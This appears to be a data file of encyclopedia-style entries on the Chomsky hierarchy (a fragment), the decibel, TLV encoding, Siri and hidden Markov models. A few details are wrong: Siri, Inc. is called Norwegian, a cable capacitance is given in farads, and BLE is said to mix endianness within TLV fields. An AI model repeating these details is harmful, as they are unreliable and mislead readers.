1928. Decades later, Chomsky is credited with the creation of the theory of generative grammar, considered to be one of the most significant contributions to the field of linguistics made in the 20th Century. \n\n1936\n\nTuring machines, first described by Alan Turing in 1936–7, are simple abstract computational devices intended to help investigate the extent and limitations of what can be computed. \n\n1956\n\nChomsky publishes *Syntactic Structures*. He defines a classification of formal languages in terms of their generative power, to be known as the Chomsky hierarchy. \n\n1963\n\nJohn Backus and Peter Naur introduce for the first time a formal notation to describe the syntax of a given language (for ALGOL 60 programming language). This is said to be influenced from Chomsky's work. In time, this notation is called **Backus-Naur Form**.","meta":{"title":"Chomsky Hierarchy","href":"chomsky-hierarchy"}}
{"text":"# Decibel\n\n## Summary\n\n\nDecibel is a unit of measurement that expresses the logarithmic ratio of two physical quantities of the same dimensions. The logarithm is to base 10. This logscale definition is useful when the quantities have a wide range and losses or gains are proportional. \n\nDecibel is dimensionless since it's a ratio. It's a relative measure. However, when a reference is defined, it can be used as an absolute measure. As a relative measure, it's represented as **dB**. As an absolute measure, often an additional suffix is appended to \"dB\". \n\nDecibel originated in telephone networks of the early 20th century. Today it's commonly used in many domains including acoustics, electrical engineering, signal processing, RF power, and more.\n\n## Discussion\n\n### Could you explain the decibel scale with some numbers?\n\nDecibel is defined as \\(10\\ log\\_{10}(P\\_1/P\\_0)\\), where power level P1 is compared against P0. When P0 and P1 are equal, we say their ratio is 0dB. Thus, 0dB doesn't imply zero power or intensity. It implies equal power.\n\nIf P1 is twice the value of P0, we say that P1 is 3dB higher than P0. If P1 is half the value of P0, we say that P1 is 3dB lower than P0, or equivalently -3dB. \n\nFor ratios P1/P0 equalling 10, 100, and 1000, the respective decibels are 10, 20, and 30. Likewise, if the ratios are 0.1, 0.01, and 0.001, the respective decibels are -10, -20, and -30. Thus, we can see that even though the power levels are changing geometrically, the equivalent decibel values change linearly. This is why the logarithmic scale of decibel is useful when quantifying values that have a large range.\n\n\n### What are some examples where the decibel scale is used?\n\nDecibel is used to quantify the intensity of sound. For sound, it's common to use decibel with a reference of 0.02 mPa (millipascals), the minimum sound that the human ear can hear. Normal speech is at 60dB. A jet engine is at 120dB, which is a million times louder than normal speech. \n\nIn electrical engineering and radio engineering, decibel is used. For example, the gain of an amplifier or the loss of signal power due to an obstruction are quantified in decibels. A directional antenna will focus its radiation in specific directions, which are specified on a chart with decibel as the unit. \n\nIn signal processing, it's common to apply filters to signals. *Bode plot* is an example that shows the magnitude response of such a filter: decibels (y-axis) vs frequency (x-axis). This tells which frequencies are allowed to pass and which ones are attenuated. \n\nWhen a signal is compared to noise, called *Signal-to-Noise Ratio (SNR)*, this ratio is specified in decibels. For example, we can compare a processed image with the original and quantify the difference as SNR in decibels. \n\n\n### What's the difference between decibels based on either root-power level or power level?\n\nDecibel is commonly defined in terms of power levels. However, it can be defined in terms of signal or field level. For example, in electrical engineering, electrical signals are voltage and current. Power is proportional to square of these signals. When decibel is therefore defined in terms of voltage, the equation becomes \\(20\\ log\\_{10}(V\\_1/V\\_0)\\), where voltage level V1 is compared against V0.  \n\nWhile the term *field quantity* was previously used, ISO Standard 80000-1:2009 introduced the term *root-power quantity*. \n\n\n### What are absolute and relative decibel units?\n\nDecibel is a relative measure that compares two quantities of the same dimension. But in acoustics, it's common to say that noise was at 90dB. We don't say noise was 90dB with respect to something. This is because a reference of 0.02 mPa (millipascals) is implied since it's the quietest sound that we can hear. Thus, sound levels are in absolute decibels. \n\nIn most other applications, **dB** is a relative measure. When we say that path loss of a wireless channel is 120dB, we mean that from the transmitter to receiver, signal power drops by 120dB. However, if we take 1 milliwatt as the reference, then we can use the unit **dBm** to indicate absolute measure. If transmitter sends a 10 kilowatt signal, it's sending a 70dBm signal. If path loss is 120dB (relative measure), the receiver will get a -50dBm (absolute measure) signal. \n\nHere are some examples of absolute measures (reference in parenthesis): dBW (1 watt), dBi (isotropic antenna), dBV (1 volt), dBµV (1 microvolt), dBµV/m or dBu (1µV/m electrical field strength), dBA (\"A\" weighted pressure levels), and more.\n\n\n### What are some limitations of using decibels?\n\nIn image processing, Signal-to-Noise Ratio (SNR) and Peak Signal-to-Noise Ratio (PSNR) are sometimes used to compare a processed image with the original image. SNR and PSNR are expressed in decibels. The problem is that image quality is a matter of human perception. We may sometimes perceive one image as better than another even though it has a lower SNR. Admittedly, this is not a limitation of decibel itself but rather a limitation of its usage for SNR.\n\nThere have been suggestions that decibel is outdated for the modern era. This is probably due to incomplete understanding of logarithms and incorrectly mixing absolute and relative values. \n\n## Milestones\n\n1614\n\nScottish mathematician John Napier (aka Neper) publishes a book detailing his invention of the **logarithms**. This would prove useful centuries later in the definition of the decibel.\n\n1904\n\nIn the early days of telephony, there's a need to quantify transmission losses due to links and nodes in a connection. AT&T proposes to use **Mile of Standard Cable (MSC)**, which is equivalent of a mile of dry-core cable-pair with a loop resistance of 88 ohms and a mutual capacitance of 0.054 farads. Let's note that MSC is not a measure of distance, but one of loss, useful for comparing the efficiencies of two telephone circuits. \n\n1923\n\nMSC unit has dependency on frequency. This was useful in earlier decades when there was a need to characterize distortion. With newer circuits having much less distortion that the standard circuit, there's a need for a distortionless unit.  Thus, AT&T invents the **Transmission Unit (TU)** to replace MSC. TU is defined based on the logarithmic scale. The logscale is useful since the losses due to two successive parts can simply be added instead of multiplied. \n\n1924\n\nThe International Advisory Committee on Long Distance Telephony in Europe, plus representatives of the Bell System, decide to adopt two units based on TU: **bel** based on power ratio \\(10^1\\) and **neper** based on power ratio \\(e^2\\). Since TU is based on power ratio \\(10^.1\\), the Bell System decides to use **decibel** as the unit. One decibel is the smallest difference in sound that the human ear can detect. The word \"bel\" itself is honouring Alexander Graham Bell, inventor of the telephone. \n\n1933\n\nBy this time, in the UK at least, the unit of loss measurement becomes decibel rather than msc, though some other countries continue to use neper as the unit. \n\nJul  \n1937\n\nAt the First International Acoustical Conference in Paris, decibel is adopted as an international unit for energy and pressure levels. \n\nApr  \n2003\n\nThere's talk of including the decibel within the International System of Units (SI) but this proposal is rejected. However, decibel has been recognized by IEC and ISO.","meta":{"title":"Decibel","href":"decibel"}}
{"text":"# TLV Format\n\n## Summary\n\n\nTLV (Tag-Length-Value) is a binary format used to represent data in a structured way. TLV is commonly used in computer networking protocols, smart card applications, and other data exchange scenarios. The three parts of TLV are:\n\n* **Tag**: Identifies uniquely the type of data. It's typically a single byte or a small sequence of bytes.\n* **Length**: Length of the data field in bytes. In some protocols, the lengths of tag and length fields are also included.\n* **Value**: Actual data being transmitted, which can be of any type or format.\n\nEntities that send messages would **encode** information into TLV format. Entities that receive such messages would **decode** them to retrieve the information. Many programming languages have libraries for TLV encoding and decoding. Developers can also build their own custom encoders and decoders, perhaps optimized for their applications.\n\n## Discussion\n\n### Could you explain the TLV format with an example?\n\nDevelopers will usually represent data in a form that's most convenient and efficient for processing. For example, this could be an associative array, a linked list, or a class with attributes. When this data needs to be stored or transmitted, it has to be **serialized**. This is where TLV format is used. A TLV encoder reads the data/message and outputs a stream of bytes. A TLV decoder does the reverse.\n\nThe figure shows a TLV example used for F-TEID, an information element (IE) used in 5G's PFCP protocol. The type value 21 indicates that this is F-TEID. The protocol defines other values for other IEs. Since type field is two bytes, it will be encoded as 0x0015.\n\nThe length field is 2 bytes. It's value indicates the number of bytes that follow. The latter are part of the 'V' in TLV. The 4-byte TEID field is mandatory. Byte 5 contains some flags (CHID, CH, V6, V4) to indicate the presence of optional fields. So if V6 is set to 1, 16 bytes of IPv6 address is present.\n\n\n### Does 'T' in TLV refer to \"tag\" or \"type\"?\n\nThe TLV acronym can refer to either \"Tag-Length-Value\" or \"Type-Length-Value.\" Both of these terms are used interchangeably and can be considered correct.\n\nIn some contexts, \"Tag\" and \"Type\" may be used to refer to slightly different things. \"Tag\" may refer to an identifier used within a particular protocol. \"Type\" may refer to a more general data type, such as an integer, string, or binary data. However, in most cases, the terms \"Tag\" and \"Type\" are used interchangeably to refer to the identifier of the data being transmitted.\n\n\n### What are the benefits of using the TLV format?\n\nThe TLV format allows data to be structured in a **flexible** way. Data can be organized into logical groups. The length field allows for variable-length data to be represented.\n\nThe format is also **extensible**, meaning that new tags can be added to the format without requiring changes to existing code. This makes it easy to add new functionality to an existing system.\n\nIt's also an **efficient** way to store and transmit data. By using a binary format, the data can be transmitted more quickly and with less overhead than with text-based formats.\n\nThe use of length fields in the TLV format makes it easy to **detect errors** in the data. If the length of a field does not match the expected value, it is likely that an error has occurred.\n\n\n### Which standards have adopted the TLV format?\n\nThe OSI (Open Systems Interconnection) reference model is a layered architecture. TLV is used in many protocols across the OSI layers. For example, at the data link layer, Ethernet frames and Wi-Fi frames use TLV. At the network layer, IP and ICMP are two examples that use TLV. At the application layer, there are plenty of protocols that use TLV: HTTP, CoAP, DNS, and MQTT are some examples.\n\nTLV is typically not used at the physical layer, which usually deals with raw bits. TLV is typically not used at the transport, session or presentation layers.\n\nHere are more standards that use TLV:\n\n    + ISO 7816: This is a communication protocol between smart cards and card readers. The APDU (Application Protocol Data Unit) format is based on TLV.\n    + Bluetooth: The Bluetooth Low Energy (BLE) specification uses the TLV format to encode the data for advertising and communication between BLE devices.\n    + SIM/eSIM cards: In cellular systems, SIM and eSIM cards use the TLV format to store data, and exchange data with the mobile device.\n\n### What endianness is used in TLV?\n\nThe endianness used depends on the specific protocol or application, which must specify the endianness it's using. If messages are being exchanged between devices with different endianness, proper conversion would be needed before processing those messages.\n\nThere are some protocols that mix endianness for different fields within the same TLV message. One such protocol is the Bluetooth Low Energy (BLE) protocol. The endianness of the length field and the value field may be different. Specifically, the length field in the TLV message is always encoded in little-endian byte order, while the endianness of the value field depends on the type of data being transmitted. For example, if the value field contains a 16-bit unsigned integer, it's encoded in little-endian byte order, since the length field is also in little-endian byte order. However, if the value field contains a 32-bit floating-point value, it's encoded in big-endian byte order.\n\n\n### What are some best practices for designing TLV-based messages?\n\nUse standardized tags to ensure that your messages can be easily understood and implemented by other systems. Consider using a standardized byte order or including byte order information in the message.\n\nDefine a clear message structure that defines the order and the type of fields. When possible, use fixed-length fields. These approaches make parsing and processing more efficient. Where variable-length fields are needed, use a length field to indicate the size of the data. Include error checking in the message to ensure that the message is valid and has not been corrupted during transmission.\n\nWhen designing a TLV message, reserve certain tags for future use. This can ensure that new fields can be added to the message without requiring changes to existing code. Use flags to indicate which fields in the message are optional. This can help reduce the size of the message and make it easier to parse. Flags also help with backward compatibility. A version number included in a message can help older systems interwork with newer systems. Another technique is to use a a variable-length encoding scheme that can represent both older and newer data formats.\n\n\n### How should developers encode/decode messages in TLV format?\n\nAny TLV encoder/decoder must be tested for correctness. Even when invalid input is fed to them, they should fail gracefully. They can log a warning message and keep applications robust and secure.\n\nThe length value can't be set until all message fields are encoded. One approach is to increment the length value as each field is encoded.\n\nIf fields are not byte-aligned, bit manipulation is required. This involves bit shifting and bit masking to get or set specific bits from a field. Here's an example (assuming big-endian byte order):\n\n    + Encoder: Data `dt` is of range 0-3 (2 bits). It's to be encoded into bits 5 and 4 without disturbing other bits in a 2-byte field `fld`. We can do `fld |= (dt & 0x0003) << 3`.\n    + Decoder: We wish to extract bits 5 and 4 from a 2-byte field `fld`. We can do `dt = (fld & 0x0018) >> 3` or `dt = (fld >> 3) & 0x0003`.Developers can use a well-tested and widely-used TLV library rather than writing a custom implementation. Examples include libtins and tlvcpp (C++); Apache MINA and TlvParser (Java); Construct and TLV-Coding (Python); BouncyCastle and PeterO.TlvLib (.NET).\n\n\n### What are some variations of the TLV format?\n\nTLV has some variations and they offer different trade-offs between simplicity, flexibility, and efficiency:\n\n    + **TVL**: The tag comes first, followed by the value, and then the length. This format is sometimes used in legacy systems, but it is less common than the TLV format.\n    + **LV**: There's no tag field. This format is simpler than TLV, but it doesn't provide any information about the meaning or purpose of the data.\n    + **TFLV**: Type-specific flags field is also included.\n    + **Nested TLV**: The value field can contain nested TLV structures, allowing for the representation of more complex data. This is often used in protocols that require hierarchical or nested data structures.\n    + **Extended TLV (ETLV)**: This includes an extra \"extended\" field in the tag that provides additional information about the tag's purpose or context. This allows for more flexibility in the use of tags, as well as better support for backward compatibility.\n    + **Binary TLV (BTLV)**: BTLV is a binary variant of TLV that's designed for use in low-level system programming. It uses fixed-width fields for the tag, length, and value, and is often used in embedded systems and low-level network protocols.\n\n### What are the alternatives to the TLV format?\n\nTLV is a binary format. Other binary formats include Protocol Buffers, ASN.1 and MessagePack. Protocol Buffers was developed by Google. It's language- and platform-independent. ASN.1 is an older format that's widely adopted. It has different TLV-based encoding rules (BER, DER) and non-TLV-based encoding rules (PER, XER). MessagePack is designed to be fast and compact. These alternatives allow developers to define and maintain message definitions in readable syntax while encoding them into binary formats.\n\nSometimes an efficient binary format is not essential. Developers may prefer a textual format that's easier to read and parse. In such situations, XML and JSON formats could be used. These are widely used in web services and mobile applications. XML is also used for document formatting.\n\n## Milestones\n\n1980\n\nThe use of TLV encoding can be traced back to the development of the **Abstract Syntax Notation One (ASN.1)** standard in the 1980s. This happens within the telecommunications industry. ASN.1 uses TLV encoding to represent complex data structures in a compact and efficient format.\n\n1990\n\nIn the 1990s, TLV is used in the development of the **EMV (Europay, Mastercard, and Visa)** standard for payment cards. The EMV standard uses TLV encoding to represent the data stored on a payment card, including the cardholder's name, card number, expiration date, and other information.\n\n2000\n\nThrough the 2000s, the use of TLV encoding becomes more common in computer networking protocols, such as the Simple Network Management Protocol (SNMP) and the Link Layer Discovery Protocol (LLDP).","meta":{"title":"TLV Format","href":"tlv-format"}}
{"text":"# Siri\n\n## Summary\n\n\nSiri is a voice-controlled virtual assistant for Apple devices. It can be used for multiple purposes such as getting weather reports, setting an alarm, sending a message to someone, scheduling a meeting, or locking a car. At times, Siri can also respond with wit and sarcasm. Siri Shortcuts and Siri Suggestions are additional features that enhance how users can interact with Siri. \n\nSiri is available in many countries and in different languages. Initially, it was available only on the iPhone and later expanded to include iPod touch, iPad, Mac, AirPods, Apple Watch, Apple TV, and HomePod. \n\nDespite being the first mover in the industry, Siri has fallen behind the competition. In fact, users may prefer to use Amazon Alexa or Google Assistant on Apple devices.\n\n## Discussion\n\n### What are the capabilities of Siri?\n\nSiri is an artificial intelligence designed to help Apple users in various tasks. It can **perform actions** such as reading your last email, texting your friend, booking a hotel, or calling your parents instantly. It can tell good hotels nearby, set an alarm, give directions to reach a certain place, or describe tomorrow's weather. \n\nBy asking Siri \"What can you do?\", Siri will respond with a list of all things it can do. There are already apps to do these things but Siri brings a voice interface to these apps and therefore a better user experience. \n\nIt can also be trained to **give answers** to some specific questions. Siri can be taught to pronounce your name or which of your contacts are your family members. \n\nSiri can also be funny and sarcastic sometimes. For instance, if you ask it \"What's your favourite animal?\", it will answer \"Software doesn't usually get to choose one, but I'll say birds. What's yours?\" To the question \"What is the meaning of life?\", it will answer \"I can't answer that. Ha ha!\" \n\n\n### How can users launch Siri?\n\nEach Apple device has its unique way to invoke Siri. Typically, a device button (physical or virtual) is pressed and the request is made. Users need to press and hold for longer requests. **\"Hey Siri\"** is a hands-free option to invoke Siri. It's available in latest versions of most devices. \n\nOn iPhone X or later, press the Side button. In other models, press Home or Top button. With AirPods Pro and AirPods (3rd generation), set the force sensor on either left or right AirPod. On AirPods (1st generation) double-tap the outside of either AirPod and wait for a chime. On recent Apples Watch models, \"Hey Siri\" prompt is unnecessary. Another method is to press the Digital Crown for a few seconds. \n\nOn Macs, press the Siri button on Touch Bar, menu bar or Dock (macOS Sierra or later). On vehicles that support CarPlay or Siri Eyes Free, hold down the voice-command button on the steering wheel while making a request. On HomePod, press the top of the device. For Apple TV, use Siri button on the Siri Remote. \n\n\n### How can users automate tasks using Siri?\n\nA user may want to automate a sequence of frequent tasks rather than perform them manually. For example, for the way home from work, the user may want directions, send ETA to a family member and start listening to music. Another example is to download all images on a webpage, reduce them in size and upload them to Twitter. These tasks can be automated with **Siri Shortcuts**.  \n\n*Shortcuts* is a separate app that's installed by default since iOS 13. It comes with 300+ built-in actions. Users can create or edit shortcuts. Users can browse a gallery of shortcuts and launch any shortcut. Specific shortcuts can also be launched from icons or widgets on the home screen. Or invoke and tell Siri the name of the shortcut to execute.  \n\nFor third-party apps that support this feature, users can add shortcuts to automate tasks concerning those apps. \n\nSince iOS 13, shortcuts can also be triggered automatically. For example, a shortcut can be configured to run at 11am daily. A practical example is to automatically enable Do Not Disturb when the user starts watching Netflix. \n\n\n### What are Siri Suggestions?\n\nWe may view Siri as just a voice interface to apps on Apple devices but Siri is more than this. Using its AI capabilities, Siri learns how you use your devices and apps. Via a feature called **Siri Suggestions**, it gives personalized suggestions. For this purpose, Siri looks at your browsing history, emails, messages, images, notifications, contacts and information shared by third-party apps on your devices. For privacy, synchronization across devices is done using end-to-end encryption. On-device processing is used. Any information sent to Apple is anonymized. \n\nHere are some things Siri Suggestions can do: suggests people to include in emails and calendar events based on previous emails or events; based on numbers shared in emails, guesses who may be calling even if the number is not in contacts; gives search suggestions in Safari browser; recommends news stories based on your past reading history; notifies when to leave for an appointment based on current traffic conditions. \n\nSiri Suggestions also makes use of Shortcuts. In fact, suggestions can be seen as informing users what shortcuts to run. \n\n\n### How does Siri work under the hood?\n\nThe fundamental technologies used in Siri are Automatic Speech Recognition (ASR) that converts audio waveforms to text, Natural Language Understanding (NLU) that determines user's intent, and Text-to-Speech (TTS) that enables Siri to speak out a response. \n\nSince iOS 15, on some devices, some of these steps can be done offline without connecting to a server. However, the true utility of Siri comes from connecting to a server. Server-side logic might do a better job with ASR, taking into account regional accent, ambient noise, and linguistic information such as syntax and context. For example, the NLU engine must differentiate between \"byte\" and \"bite\" based on the context. The server may query databases to find answers. If an answer can't be found, Siri may prompt the user if it should search the web. \n\nThe \"Hey Siri\" hands-free prompt is based on an acoustic model implemented as a Deep Neural Network (DNN). In fact, Siri does two-pass detection: a small DNN that's always on, a larger DNN that's triggered for more accurate processing. \n\n\n### What patents cover the technologies used in Siri?\n\nWithout being exhaustive, we note the following patents along with filing and publication dates:\n\n    + US20120016678A1, Jan 2011 / Jan 2012: Intelligent automated assistant: a conversational agent that uses natural language dialog and external services to perform actions, retrieve information and solve problems rather than simply return search results.\n    + US20170358301A1, Sep 2016 / Dec 2017: Digital assistant providing whispered speech: determines that user is whispering and modulates the response to whispers. A patent published April 2021, US20210097980A1, expands this idea to devices that are aware of their environments.\n    + US20180329957A1, Aug 2017 / Nov 2018: Feedback analysis of a digital assistant: client device receives user inputs, processes these inputs based on instructions received from a server and sends the result to server.\n    + US20180330731A1, Sep 2017 / Nov 2018: Offline personal assistant: an assistant that can receive multiple inputs, rank and score them, and decide which one to act upon. The patent focuses on on-device processing without relying on server backend.\n    + US20180329677A1, Mar 2018 / Nov 2018: Multi-modal interfaces: visual interface is used to augment the voice interface.\n\n### What developer tools are available to integrate Siri into apps?\n\nApple provides developers an API called **SiriKit**. Interactions are enabled using Intents and IntentsUI frameworks that are part of SiriKit. An app can have custom vocabulary and sample phrases so that Siri can interact better with the app. Via an app-specific extension, Siri can be used even when the actual app isn't running. Siri handles user interactions while the extension provides necessary information. \n\nSiriKit is available in Swift and Objective-C programming languages. It's available for iOS 10.0+, iPadOS 10.0+, macOS12.0+, Mac Catalyst 13.0, tvOS 14.0+ and watchOS 3.2+ platforms. \n\nDevelopers can read SiriKit documentation for more information.\n\n\n### What are the shortcomings of Siri?\n\nTen years after its launch in 2011, Siri was considered inferior to its competitors Google Assistant and Amazon Alexa. This is despite Siri being the first mover in the industry. New releases came with only insignificant updates. Siri mishears even simple commands. Users become frustrated by its failures to complete basic tasks. Some of these can be blamed on poor management and lack of product focus. \n\nApple being a closed ecosystem, Siri doesn't integrate well with third-party apps and services, which is where Alexa trumps. Different versions of Siri on different Apple devices means that users don't get a consistent experience. \n\nIn 2019, it was revealed that recordings of real conversations were given to external analysts to improve Siri's algorithms. However, these recordings contained sensitive information. \n\nWithout an active internet connection, Siri's capabilities are limited. Back in 2019 it was reported that user interaction with maps was limited to English. Background noise, low-quality audio, spelling variations, strong accent and fast speech all caused problems for Siri. Even if the iPhone is password protected, Siri could be invoked via the Home button without unlocking the phone. \n\n## Milestones\n\n2010\n\nA Norwegian company named Siri, Inc. launches an iOS app based on speech recognition technology. Siri is a virtual assistant. It enables users to interact with their iPhones via a voice interface. In April, **Apple acquires Siri**. \n\n2011\n\nApple makes Siri an integral feature of **Apple iPhone 4S**. Despite Apple's best efforts to find a better name, they stick to \"Siri\". Later, people suggest that Siri stands for \"Speech Interpretation and Recognition Interface\". Competition soon follows: Samsung's S Voice (2012), Google Now (2012), Microsoft Cortana (2014), Amazon Alexa (2014), and Google Assistant (2016). \n\n2012\n\nApple announces many improvements to Siri in iOS 6, mainly based on access to new sources of data such as information about sports, restaurants and movies. Siri is now capable of posting to social media, reading incoming messages and notifications, and opening apps. It's now available in 15 languages. Apple expands support of Siri to iPad and iPod touch. This encourages Apple users to upgrade their devices. \n\n2013\n\nSiri acquires new capabilities including switching on/off Bluetooth and Wi-Fi, using databases to answer search queries, and using more natural sounding voices. Apple introduces \"iOS in the Car\", an extension of Siri Hands-free designed to work with in-car systems. \n\n2014\n\nHands-free interaction with Siri was first introduced in 2012. This is improved with the **\"Hey Siri\"** feature. Users can use Siri without needing to press buttons or touchscreens. In July, Siri gets a major upgrade with adoption of ML techniques including Deep Neural Networks (DNNs). Error rates drop by at least a factor of two. \n\n2015\n\nSiri is added to **Apple TV**. Standalone Siri remote for Apple TV is also released. It gives suggestions based on previous user behaviour such as recommending news stories, music, and apps. It's now 40% faster and 40% more accurate than before. \n\n2016\n\nApple releases the **SiriKit API** for developers. This allows developers to integrate Siri with their apps. However, this integration is limited to some apps such as messaging, phone calls, photo search, ride booking, personal payments, workouts in apps and some in-car apps. Siri can do intelligent scheduling, integrate with the QuickType keyboard, react to text conversations and make useful suggestions based on user behaviour. \n\n2017\n\nDevelopers get support for deploying more Siri features such as to-do lists, notes and payments in SiriKit. Machine Learning becomes deeply embedded into Apple products, including Siri. Apple reveals that Siri is used by over 375 million devices each month in different countries and languages. Siri can also translate from English to Chinese, French, German, Italian, and Spanish. \n\n2018\n\nIntroduced at WWDC 2017, Apple's intelligent speaker system called **HomePod** becomes available along with iOS 11.2.5. Users can interact with HomePod via Siri. \n\n2019\n\n**Siri Shortcuts**, though available earlier as a downloadable app, is now installed by default on iOS 13 and iPadOS devices. Shortcuts can also do things automatically without users invoking it explicitly. \n\n2021\n\nWith the release of iOS 15, Siri can now be used **offline** though with limited capabilities. This is available on recent iPhones with A12 Bionic processor and iPads. On-device speech recognition is now possible but questions such as \"What is the capital of Switzerland?\" or \"Will it rain later today?\" can't be answered without connecting to the server. While offline, Siri can open apps, create timers, make calls, and adjust volume. But it can't add new calendar entries or select downloaded music albums.","meta":{"title":"Siri","href":"siri"}}
{"text":"# Hidden Markov Model\n\n## Summary\n\n\nConsider weather, stock prices, DNA sequence, human speech or words in a sentence. In all these cases, current state is influenced by one or more previous states. Moreover, often we can observe the effect but not the underlying cause that remains hidden from the observer. Hidden Markov Model (HMM) helps us figure out the most probable hidden state given an observation. \n\nIn practice, we use a sequence of observations to estimate the sequence of hidden states. In HMM, the next state depends only on the current state. As such, it's good for modelling time series data. \n\nWe can classify HMM as a **generative probabilistic model** since a sequence of observed variables is generated by a sequence of hidden states. HMM is also seen as a specific kind of **Bayesian network**.\n\n## Discussion\n\n### Could you explain HMM with an example?\n\nSuppose Bob tells his friend Alice what he did earlier today. Based on this information Alice guesses today's weather at Bob's location. In HMM, we model weather as *states* and Bob's activity as *observations*.\n\nTo solve this problem, Alice needs to know three things: \n\n    + **Transition Probabilities**: Probability of moving from one state to another. For example, \"If today was sunny, what's the probability that it will rain tomorrow?\" If there are N states, this is an NxN matrix.\n    + **Emission Probabilities**: Probability of a particular output given a particular state. For example, \"What's the chance that Bob is walking if it's raining?\" Given a choice of M possible observation symbols, this is an NxM matrix. This is also called output or observation probabilities.\n    + **Initial Probabilities**: Probability of being in a state at the start, say, yesterday or ten days ago.Unlike a typical Markov chain, we can't see the states in HMM. However, we can observe the output and then predict the state. Thus, the states are hidden, giving rise to the term \"hidden\" in the name HMM. \n\n\n### What types of problems can be solved by HMM?\n\nLet A, B and π denote the transition matrix, observation matrix and initial state distribution respectively. HMM can be represented as λ = (A, B, π). Let observation sequence be O and state sequence be Q. \n\nHMM can be used to solve three types of problems:  \n\n    + **Likelihood Problem**: Given O and λ, find the likelihood P(O|λ). How likely is a particular sequence of observations? *Forward algorithm* solves this problem.\n    + **Decoding Problem**: Given O and λ, find the best possible Q that explains O. Given the observation sequence, what's the best possible state sequence? *Viterbi algorithm* solves this problem.\n    + **Learning Problem**: Given O and Q, learn λ, perhaps by maximizing P(O|λ). What model best maps states to observations? *Baum-Welch algorithm*, also called *forward-backward algorithm*, solves this problem. In the language of machine learning, we can say that O is training data and the number of states N is the model's hyperparameter.\n\n### What are some applications where HMM is useful?\n\nHMM has been applied in many areas including automatic speech recognition, handwriting recognition, gesture recognition, part-of-speech tagging, musical score following, partial discharges and bioinformatics. \n\nIn speech recognition, a spectral analysis of speech gives us suitable observations for HMM. States are modelled after phonemes or syllables, or after the average number of observations in a spoken word. Each word gets its own model.  \n\nTo tag words with their parts of speech, the tags are modelled as hidden states and the words are the observations. \n\nIn computer networking, HMMs are used in intrusion detection systems. This has two flavours: anomaly detection in which normal behaviour is modelled; or misuse detection in which a predefined set of attacks is modelled. \n\nIn computer vision, HMM has been used to label human activities from skeleton output. Each activity is modelled with a HMM. By linking multiple HMMs on common states, a compound HMM is formed. The purpose is to allow robots to be aware of human activity. \n\n\n### What are the different types of Hidden Markov Models?\n\nIn the typical model, called the **ergodic HMM**, the states of the HMM are fully connected so that we can transition to a state from any other state. **Left-right HMM** is a more constrained model in which state transitions are allowed only from lower indexed states to higher indexed ones. Variations and combinations of these two types are possible, such as having two parallel left-to-right state paths. \n\nHMM started with observations of discrete symbols governed by **discrete** probabilities. If observations are continuous signals, then we would use **continuous** observation density. \n\nThere are also domain-specific variations of HMM. For example, in biological sequence analysis, there are at least three types including profile-HMMs, pair-HMMs, and context-sensitive HMMs. \n\n\n### Could you explain forward algorithm and backward algorithm?\n\nEvery state sequence has a probability that it will lead to a given sequence of observations. Given T observations and N states, there are \\(N^T\\) possible state sequences. Thus, the complexity of calculating the probability of a given sequence of observations is \\(O(N^{T}T)\\). Both forward and backward algorithms bring down the complexity to \\(O(N^{2}T)\\) through **dynamic programming**. \n\nIn the forward algorithm, we consider the probability of being in a state at the current time step. Then we consider the transition probabilities to calculate the state probabilities for the next step. Thus, at each time step we have considered all state sequences preceding it. The algorithm is more efficient since it reuses calculations from earlier steps. Instead of keeping all path sequences, paths are folded into a forward trellis. \n\nBackward algorithm is similar except that we start from the last time step and calculate in reverse. We're finding the probability that from a given state, the model will generate the output sequence that follows. \n\nA combination of both algorithms, called forward-backward algorithm, is used to solve the learning problem. \n\n\n### What's the algorithm for solving HMM's decoding problem?\n\nViterbi algorithm solves HMM's decoding problem. It's similar to the forward algorithm except that instead of summing the probabilities of all paths leading to a state, we retain only one path that gives maximum probability. Thus, at every time step or iteration, given that we have N states, we retain only N paths, the most likely path for each state. For the next iteration, we use the most likely paths of current iteration and repeat the process. \n\nWhen we reach the end of the sequence, we'll have N most likely paths, each ending in a unique state. We then select the most likely end state. Once this selection is made, we backtrack to read the state sequence, that is, how we got to the end state. This state sequence is now the most likely sequence given our sequence of observations. \n\n\n### How can we solve the learning problem of HMM?\n\nIn HMM's learning problem, we are required to learn the transition (A) and observation (B) probabilities when given a sequence of observations and the vocabulary of hidden states. The **forward-backward algorithm** solves this problem. It's an iterative algorithm. It starts with an initial estimate of the probabilities and improves these estimates with each iteration. \n\nThe algorithm consists of two steps: \n\n    + **Expectation or E-step**: We compute the expected state occupancy count and the expected state transition count based on current probabilities A and B.\n    + **Maximization or M-step**: We use the expected counts from the E-step to recompute A and B.While this algorithm is unsupervised, in practice, initial conditions are very important. For this reason, often extra information is given to the algorithm. For example, in speech recognition, the HMM structure is set manually and the model is trained to set the initial probabilities. \n\n\n### Could you describe some tools for doing HMM?\n\nIn Python, *hmmlearn* package implements HMM. Three models are available: `hmm.GaussianHMM`, `hmm.GMMHMM` and `hmm.MultinomialHMM`. This package is also part of Scikit-learn but will be removed in v0.17. Stephen Marsland has shared Python code in NumPy and Pandas that implements many essential algorithms for HMM.\n\nIn R, *HMM* package implements HMM. It has functions for forward, backward, Viterbi and Baum-Welch algorithms. Another package *depmixS4* implements dependent mixture models that can be used to fit HMM to observed data. R-bloggers has an example use of depmixS4.\n\n## Milestones\n\n1913\n\nRussian mathematician A. A. Markov recognizes that in a sequence of random variables, one variable may not be independent of the previous variable. For example, two successive coin tosses are independent but today's weather might depend on yesterday's weather. He models this as a chain of linked events with probability assigned to each link. This technique later is named **Markov Chain**. \n\n1966\n\nBaum and Petrie at the Institute of Defense Analyses, Princeton, introduce the **Hidden Markov Model (HMM)**, though this name is not used. They state the problem of estimating transition and emission probabilities from observations. They use maximum likelihood estimate. \n\n1967\n\nAndrew Viterbi publishes an algorithm to decode information at the receiver in a communication system. Later named **Viterbi algorithm**, it's directly applicable to the decoding problem in HMM. Vintsyuk first applies this algorithm to speech and language processing in 1968. \n\n1970\n\nThe **Baum-Welch algorithm** is proposed to solve the learning problem in HMM. This algorithm is a special case of the Expectation-Maximization (EM) algorithm. However, the name HMM is not used in the paper and mathematicians refer to HMM as \"probabilistic functions of Markov chains\". \n\n1975\n\nJames Baker at CMU applies HMM to speech recognition in the DRAGON speech understanding system. This is one of the earliest engineering applications of HMM. HMM is further applied to speech recognition through the 1970s and 1980s by Jelinek, Bahl and Mercer at IBM. \n\n1989\n\nLawrence Rabiner publishes a tutorial on HMM covering theory, practice and applications. He notes that HMM originated in mathematics and was not widely read by engineers. Even when it was applied to speech processing in the 1970s, there were no tutorials to help translate theory into practice. 